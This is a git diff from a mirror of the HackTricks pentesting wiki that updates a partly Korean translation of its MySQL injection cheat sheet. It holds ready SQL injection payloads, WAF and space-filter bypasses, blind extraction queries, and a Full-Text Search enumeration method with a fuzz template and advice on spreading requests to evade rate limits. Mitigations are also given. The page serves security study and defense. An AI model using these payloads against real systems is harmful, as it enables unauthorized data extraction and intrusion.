mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/sql-injection/mysql-injection/README
This commit is contained in:
parent
cd4009b8c1
commit
4d6a0cda0c
@ -4,7 +4,7 @@
|
||||
|
||||
|
||||
|
||||
## Comments
|
||||
## 주석
|
||||
```sql
|
||||
-- MYSQL Comment
|
||||
# MYSQL Comment
|
||||
@ -12,9 +12,9 @@
|
||||
/*! MYSQL Special SQL */
|
||||
/*!32302 10*/ Comment for MySQL version 3.23.02
|
||||
```
|
||||
## 흥미로운 기능
|
||||
## 흥미로운 함수
|
||||
|
||||
### Confirm Mysql:
|
||||
### Mysql 확인:
|
||||
```
|
||||
concat('a','b')
|
||||
database()
|
||||
@ -44,7 +44,7 @@ SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
|
||||
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
|
||||
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
|
||||
```
|
||||
## 모든 인젝션
|
||||
## 모든 injection
|
||||
```sql
|
||||
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
|
||||
```
|
||||
@ -52,24 +52,24 @@ from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/]
|
||||
|
||||
## 흐름
|
||||
|
||||
"현대" 버전의 **MySQL**에서는 "_**information_schema.tables**_"를 "_**mysql.innodb_table_stats**_**"**로 대체할 수 있다는 점을 기억하세요 (이는 WAF를 우회하는 데 유용할 수 있습니다).
|
||||
최신 버전의 **MySQL**에서는 "_**information_schema.tables**_"를 "_**mysql.innodb_table_stats**_**"** 대신 사용할 수 있다는 것을 기억하세요. (이는 WAFs를 우회하는 데 유용할 수 있습니다).
|
||||
```sql
|
||||
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
|
||||
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
|
||||
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
|
||||
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
|
||||
```
|
||||
### **오직 1 값**
|
||||
### **값 1개만**
|
||||
|
||||
- `group_concat()`
|
||||
- `Limit X,1`
|
||||
|
||||
### **블라인드 하나씩**
|
||||
### **Blind 한 글자씩**
|
||||
|
||||
- `substr(version(),X,1)='r'` 또는 `substring(version(),X,1)=0x70` 또는 `ascii(substr(version(),X,1))=112`
|
||||
- `substr(version(),X,1)='r'` or `substring(version(),X,1)=0x70` or `ascii(substr(version(),X,1))=112`
|
||||
- `mid(version(),X,1)='5'`
|
||||
|
||||
### **블라인드 추가하기**
|
||||
### **Blind 추가**
|
||||
|
||||
- `LPAD(version(),1...lenght(version()),'1')='asd'...`
|
||||
- `RPAD(version(),1...lenght(version()),'1')='asd'...`
|
||||
@ -77,7 +77,7 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
|
||||
- `SELECT LEFT(version(),1...lenght(version()))='asd'...`
|
||||
- `SELECT INSTR('foobarbar', 'fo...')=1`
|
||||
|
||||
## 열의 수 감지
|
||||
## 컬럼 수 감지
|
||||
|
||||
간단한 ORDER 사용
|
||||
```
|
||||
@ -101,68 +101,68 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
|
||||
```
|
||||
## SSRF
|
||||
|
||||
**여기에서 Mysql injection을 악용하여 SSRF를 얻는 다양한 옵션을 배워보세요** [**abuse a Mysql injection to obtain a SSRF**](mysql-ssrf.md)**.**
|
||||
**여기에서 다양한 옵션을 알아보세요** [**abuse a Mysql injection to obtain a SSRF**](mysql-ssrf.md)**.**
|
||||
|
||||
## WAF 우회 기법
|
||||
## WAF bypass tricks
|
||||
|
||||
### Prepared Statements를 통한 쿼리 실행
|
||||
### Executing queries through Prepared Statements
|
||||
|
||||
스택 쿼리가 허용되는 경우, 실행하려는 쿼리의 16진수 표현을 변수에 할당하고 (SET을 사용하여) PREPARE 및 EXECUTE MySQL 문을 사용하여 궁극적으로 쿼리를 실행함으로써 WAF를 우회할 수 있을 수 있습니다. 다음과 같은 방식입니다:
|
||||
stacked queries가 허용될 경우, 실행하려는 쿼리의 hex representation을 변수에 할당(SET 사용)한 뒤 PREPARE와 EXECUTE MySQL 문을 사용해 결국 그 쿼리를 실행함으로써 WAFs를 우회할 수 있습니다. 예:
|
||||
```
|
||||
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
|
||||
```
|
||||
더 많은 정보는 [이 블로그 게시물](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce)을 참조하세요.
|
||||
자세한 내용은 [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce)를 참조하세요.
|
||||
|
||||
### Information_schema 대안
|
||||
### Information_schema 대체 방법
|
||||
|
||||
"현대" 버전의 **MySQL**에서는 _**information_schema.tables**_를 _**mysql.innodb_table_stats**_ 또는 _**sys.x$schema_flattened_keys**_ 또는 **sys.schema_table_statistics**로 대체할 수 있습니다.
|
||||
기억하세요: "modern" 버전의 **MySQL**에서는 _**information_schema.tables**_을 _**mysql.innodb_table_stats**_ 또는 _**sys.x$schema_flattened_keys**_ 또는 **sys.schema_table_statistics**로 대체할 수 있습니다
|
||||
|
||||
### MySQLinjection에서 쉼표 없이
|
||||
### MySQLinjection 쉼표 없이
|
||||
|
||||
쉼표를 사용하지 않고 2개의 열 선택하기 ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
|
||||
쉼표를 사용하지 않고 2개의 컬럼 선택 ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
|
||||
```
|
||||
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
|
||||
```
|
||||
### 열 이름 없이 값 검색하기
|
||||
### 컬럼 이름 없이 값 가져오기
|
||||
|
||||
어떤 시점에 테이블의 이름은 알지만 테이블 안의 열 이름은 모를 경우, 다음과 같은 방법으로 열의 개수를 찾으려고 시도할 수 있습니다:
|
||||
테이블 이름은 알고 있지만 테이블 안의 컬럼 이름을 모르는 경우, 다음과 같이 실행해서 컬럼이 몇 개인지 알아볼 수 있습니다:
|
||||
```bash
|
||||
# When a True is returned, you have found the number of columns
|
||||
select (select "", "") = (SELECT * from demo limit 1); # 2columns
|
||||
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
|
||||
```
|
||||
두 개의 열이 있다고 가정할 때 (첫 번째 열은 ID이고 두 번째 열은 플래그입니다), 문자 하나씩 시도하여 플래그의 내용을 무차별 대입으로 시도해 볼 수 있습니다:
|
||||
두 개의 열이 있다고 가정하고(첫 번째가 ID이고 다른 하나가 flag인 경우), flag의 내용을 문자 하나씩 bruteforce하여 시도해 볼 수 있습니다:
|
||||
```bash
|
||||
# When True, you found the correct char and can start ruteforcing the next position
|
||||
select (select 1, 'flaf') = (SELECT * from demo limit 1);
|
||||
```
|
||||
더 많은 정보는 [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)에서 확인하세요.
|
||||
추가 정보: [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
|
||||
|
||||
### SPACES 없이 주입하기 (`/**/` 주석 트릭)
|
||||
### SPACES 없이 Injection (`/**/` comment trick)
|
||||
|
||||
일부 애플리케이션은 `sscanf("%128s", buf)`와 같은 함수를 사용하여 사용자 입력을 정리하거나 구문 분석하며, 이 함수는 **첫 번째 공백 문자에서 멈춥니다**.
|
||||
MySQL은 `/**/` 시퀀스를 주석 *및* 공백으로 처리하므로, 쿼리를 구문적으로 유효하게 유지하면서 페이로드에서 일반 공백을 완전히 제거하는 데 사용할 수 있습니다.
|
||||
일부 애플리케이션은 `sscanf("%128s", buf)`와 같은 함수로 사용자 입력을 정제하거나 파싱하는데, 이 함수들은 **첫 번째 공백 문자에서 멈춥니다**.
|
||||
MySQL이 시퀀스 `/**/`를 주석 *그리고* 공백으로 처리하기 때문에, 이 표기를 이용하면 쿼리 문법을 유효하게 유지하면서 페이로드의 일반 공백을 완전히 제거할 수 있습니다.
|
||||
|
||||
공백 필터를 우회하는 시간 기반 블라인드 주입 예시:
|
||||
예: time-based blind injection으로 space filter를 우회하는 방법:
|
||||
```http
|
||||
GET /api/fabric/device/status HTTP/1.1
|
||||
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
|
||||
```
|
||||
데이터베이스가 수신하는 내용:
|
||||
데이터베이스가 받는 형태는:
|
||||
```sql
|
||||
' OR SLEEP(5)-- -'
|
||||
```
|
||||
이것은 특히 유용합니다:
|
||||
This is especially handy when:
|
||||
|
||||
* 제어 가능한 버퍼의 크기가 제한되어 있을 때 (예: `%128s`) 공백이 입력을 조기에 종료시킬 수 있습니다.
|
||||
* 일반적인 공백이 제거되거나 구분자로 사용되는 HTTP 헤더 또는 다른 필드를 통해 주입할 때.
|
||||
* `INTO OUTFILE` 원시와 결합하여 전체 사전 인증 RCE를 달성할 때 (MySQL File RCE 섹션 참조).
|
||||
* 제어 가능한 버퍼의 크기가 제한되어 있을 때(예: `%128s`) 공백이 입력을 중간에 종료시킬 수 있습니다.
|
||||
* HTTP headers 또는 일반 공백이 제거되거나 구분자로 사용되는 다른 필드를 통해 주입할 때.
|
||||
* 완전한 pre-auth RCE를 달성하기 위해 `INTO OUTFILE` primitives와 결합될 때 (MySQL File RCE 섹션 참조).
|
||||
|
||||
---
|
||||
|
||||
### MySQL 역사
|
||||
### MySQL 기록
|
||||
|
||||
MySQL에서 테이블을 읽어 다른 실행을 볼 수 있습니다: **sys.x$statement_analysis**
|
||||
MySQL에서 테이블을 읽는 동안 수행된 다른 실행들을 볼 수 있습니다: **sys.x$statement_analysis**
|
||||
|
||||
### 버전 대안**s**
|
||||
```
|
||||
@ -170,7 +170,52 @@ mysql> select @@innodb_version;
|
||||
mysql> select @@version;
|
||||
mysql> select version();
|
||||
```
|
||||
## 다른 MYSQL 인젝션 가이드
|
||||
## MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)
|
||||
|
||||
이것은 전형적인 SQL injection이 아닙니다. 개발자가 사용자 입력을 `MATCH(col) AGAINST('...' IN BOOLEAN MODE)`에 전달할 때, MySQL은 인용된 문자열 내부에서 다양한 Boolean 검색 연산자를 실행합니다. 많은 WAF/SAST 규칙은 따옴표를 깨는 것에만 집중해 이 점을 놓칩니다.
|
||||
|
||||
Key points:
|
||||
- Operators are evaluated inside the quotes: `+` (반드시 포함), `-` (포함하지 않아야 함), `*` (후행 와일드카드), `"..."` (정확한 문구), `()` (그룹화), `<`/`>`/`~` (가중치). See MySQL docs.
|
||||
- This allows presence/absence and prefix tests without breaking out of the string literal, e.g. `AGAINST('+admin*' IN BOOLEAN MODE)` to check for any term starting with `admin`.
|
||||
- Useful to build oracles such as “does any row contain a term with prefix X?” and to enumerate hidden strings via prefix expansion.
|
||||
|
||||
Example query built by the backend:
|
||||
```sql
|
||||
SELECT tid, firstpost
|
||||
FROM threads
|
||||
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);
|
||||
```
|
||||
애플리케이션이 result set이 비었는지에 따라 다른 응답(예: redirect vs. error message)을 반환한다면, 그 동작은 Boolean oracle이 되어 숨겨진/삭제된 제목과 같은 비공개 데이터를 열거하는 데 사용할 수 있다.
|
||||
|
||||
Sanitizer bypass patterns (generic):
|
||||
- Boundary-trim preserving wildcard: 백엔드가 단어당 1–2개의 꼬리 문자를 `(\b.{1,2})(\s)|(\b.{1,2}$)` 같은 정규식으로 잘라낸다면, `prefix*ZZ`를 제출하라. cleaner는 `ZZ`만 잘라내고 `*`는 남겨두므로 `prefix*`가 유지된다.
|
||||
- Early-break stripping: 코드가 단어별로 연산자를 제거하지만 길이 ≥ min length인 토큰을 찾으면 처리를 중단한다면, 두 개의 토큰을 보낸다: 첫 번째는 길이 임계값을 충족하는 정크 토큰이고, 두 번째가 operator payload를 담는다. For example: `&&&&& +jack*ZZ` → after cleaning: `+&&&&& +jack*`.
|
||||
|
||||
Payload template (URL-encoded):
|
||||
```
|
||||
keywords=%26%26%26%26%26+%2B{FUZZ}*xD
|
||||
```
|
||||
- `%26`는 `&`, `%2B`는 `+`입니다. 끝의 `xD` (또는 아무 두 문자)는 클리너에 의해 잘려 `{FUZZ}*`가 보존됩니다.
|
||||
- 리다이렉트를 “match”로 처리하고 에러 페이지를 “no match”로 처리하세요. 오라클을 관찰 가능하게 유지하려면 리다이렉트를 자동으로 따라가지 마세요.
|
||||
|
||||
열거 작업 흐름:
|
||||
1) 첫 글자 매치를 찾기 위해 `{FUZZ} = a…z,0…9`로 시작하여 `+a*`, `+b*`, … 를 사용하세요.
|
||||
2) 각 긍정적 접두사마다 분기: `a* → aa* / ab* / …`. 전체 문자열을 복구할 때까지 반복합니다.
|
||||
3) 앱이 플러드 제어를 적용하면 요청을 분산하세요 (프록시, 다중 계정 등).
|
||||
|
||||
왜 제목은 종종 leak하는데 본문은 그렇지 않은가:
|
||||
- 일부 앱은 제목/주제에 대한 예비 MATCH 이후에만 가시성 검사를 적용합니다. 필터링 전에 제어 흐름이 “any results?” 결과에 의존하면, 존재성 leaks가 발생합니다.
|
||||
|
||||
완화 방안:
|
||||
- Boolean logic이 필요 없다면 `IN NATURAL LANGUAGE MODE`를 사용하거나 사용자 입력을 리터럴로 취급하세요 (이스케이프/따옴표로 다른 모드의 연산자를 비활성화).
|
||||
- Boolean mode가 필요하다면 토큰화 후(중간 중단 없이) 모든 토큰에 대해 모든 Boolean 연산자 (`+ - * " ( ) < > ~`)를 제거하거나 무력화하세요.
|
||||
- MATCH 이전에 가시성/권한 필터를 적용하거나, 결과 집합이 비어있을 때와 비어있지 않을 때의 응답(타이밍/상태)을 통일하세요.
|
||||
- 다른 DBMS의 유사 기능을 검토하세요: PostgreSQL `to_tsquery`/`websearch_to_tsquery`, SQL Server/Oracle/Db2의 `CONTAINS`도 따옴표로 감싼 인수 안의 연산자를 파싱합니다.
|
||||
|
||||
참고:
|
||||
- Prepared statements는 `REGEXP`나 검색 연산자의 의미적 남용으로부터 보호하지 않습니다. `.*` 같은 입력은 따옴표로 감싼 `REGEXP '.*'` 안에 있어도 여전히 관대한 정규식으로 남습니다. 허용 목록(allow-lists)이나 명시적 가드를 사용하세요.
|
||||
|
||||
## Other MYSQL injection guides
|
||||
|
||||
- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||
|
||||
@ -178,6 +223,10 @@ mysql> select version();
|
||||
|
||||
- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
- [MySQL Full-Text Search – Boolean mode](https://dev.mysql.com/doc/refman/8.4/en/fulltext-boolean.html)
|
||||
- [MySQL Full-Text Search – Overview](https://dev.mysql.com/doc/refman/8.4/en/fulltext-search.html)
|
||||
- [MySQL REGEXP documentation](https://dev.mysql.com/doc/refman/8.4/en/regexp.html)
|
||||
- [ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)](https://exploit.az/posts/wor/)
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user